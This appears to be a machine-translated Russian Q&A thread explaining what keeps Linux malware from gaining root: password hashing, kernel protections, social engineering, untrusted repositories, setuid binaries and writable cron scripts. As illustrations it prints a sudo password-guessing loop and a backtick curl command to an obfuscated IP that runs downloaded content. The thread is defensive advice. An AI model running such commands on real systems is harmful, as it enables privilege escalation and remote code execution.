Я понимаю, что если какая-либо вредоносная программа проникнет в систему Linux, она, в лучшем случае, получит привилегию уровня пользователя и разрушит все, что находится в пределах досягаемости конкретного пользователя, то есть собственные файлы пользователя.
Но что именно мешает вредоносным программам получить доступ на корневом уровне? Не может ли он как-то взломать пароль изнутри?
Это сложный вопрос. В системе Ubuntu существует множество различных уровней безопасности, от сложных сред, таких как AppArmor, до простых переменных ядра, таких как mmap_min_addr
. Вы можете добавить некоторые функции ядра, такие как рандомизация памяти в миксе. Вы можете найти их список и краткие пояснения в Ubuntu Wiki .
Еще одним важным фактором является то, что обновления бывают быстрыми и легкими - поэтому большинство компьютеров будут обновлены до последних исправлений безопасности.
Насколько я знаю, у злоумышленника, получившего локальный доступ к вашему компьютеру, есть три способа масштабирования привилегий ядра:
Взломать пароль. Но это будет действительно сложно, пароль хранится в зашифрованном виде с использованием алгоритмов без известных недостатков. Потребуются века, чтобы взломать его.
Ошибка в ядре. Но все функции безопасности ядра будут мешать.
Обманывают пользователя, чтобы выдать пароль, то есть социальная инженерия. Просто покажите диалог с фальшивым паролем или воспользуйтесь другим приемом. Это самый простой способ сделать это.
Третий момент - самая слабая уязвимость на данный момент.
Взламывание самого пароля root не возможно, потому что Ubuntu отключила пользователя root по умолчанию. Однако, если Ваш пользователь может стать корнем через sudo, и Ваш пароль легок к предположению/грубой силе, у Вас есть небезопасная система. Сценарий в качестве примера, пытающийся протестировать некоторый пароль:
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
Добавление недоверяемого репозитория позволяет программы из того репозитория быть установленным. Даже если Вы явно не устанавливаете приложение как sudo apt-get install [app-from-repo]
, репозиторий может все еще влиять на другие программы, заставляя Ubuntu полагать, что репозиторий содержит более новую версию определенной программы.
Процесс обновления выполняется как корень, иначе файлы не могли быть записаны в /usr/bin
или /etc
. Триггер установки выполняется как корень также и может работать произвольно, и возможно, вредные команды. Теперь, не становитесь взволнованными, ручное действие необходимо для обновления программ, и репозитории Ubuntu безопасны. Программному обеспечению с закрытым исходным кодом как Windows никогда нельзя полностью доверять, потому что Вы не можете проверить источник на вредоносный код, но можно рассмотреть источник приложения Ubuntu, если Вам нужно к (не относится к собственным программам как sun-java6
или Flash).
Как упомянуто Javier Rivera, ошибки ядра могут привести к выполнению произвольного кода, но прослушиваемое программное обеспечение возможно опасно также, особенно багги setsuid
корневые двоичные файлы (двоичные файлы, которые будут работать при владельце файла, корне), и другие ошибочные программы, работающие как корень.
Можно создать дыры в системе безопасности в системе, если Вы не обращаете внимание на то, что Вы делаете. Например, полностью не понимая понятия cronjobs, Вы добавили cronjob к /etc/cron.daily
который запускает программу в Вашей домашней папке (например. /bin/sh /home/your-username/myscript.sh
. Если myscript.sh файл перезаписываем Вами, может быть удален Вами, использование могло вставить вредоносный код myscript.sh
который был бы выполнен как корень (расширение полномочий).
Для пребывания в безопасности используйте ум! Не выполняйте команды из недоверяемых источников, если Вы не знаете то, что это делает. Если кто-то говорит выполненный `curl 3221233674`
с обратными галочками не делать. 3221233674 другой способ записать 192.0.32.10
(IP example.com). Так, это было бы равно:
`curl http://example.com/`
Те обратные галочки вызывают вывод быть выполненными как команды оболочки. Без обиняков, "Загрузите страница http://example.com/ и попытайтесь выполнить загруженную страницу".
Сначала, Вы не видели бы что-то злонамеренное в данной команде. Но теперь, Вы знаете, что этим можно злоупотребить также.
Всегда проверяйте команды/сценарий, которые Вы получаете от недоверяемых источников, как Интернет.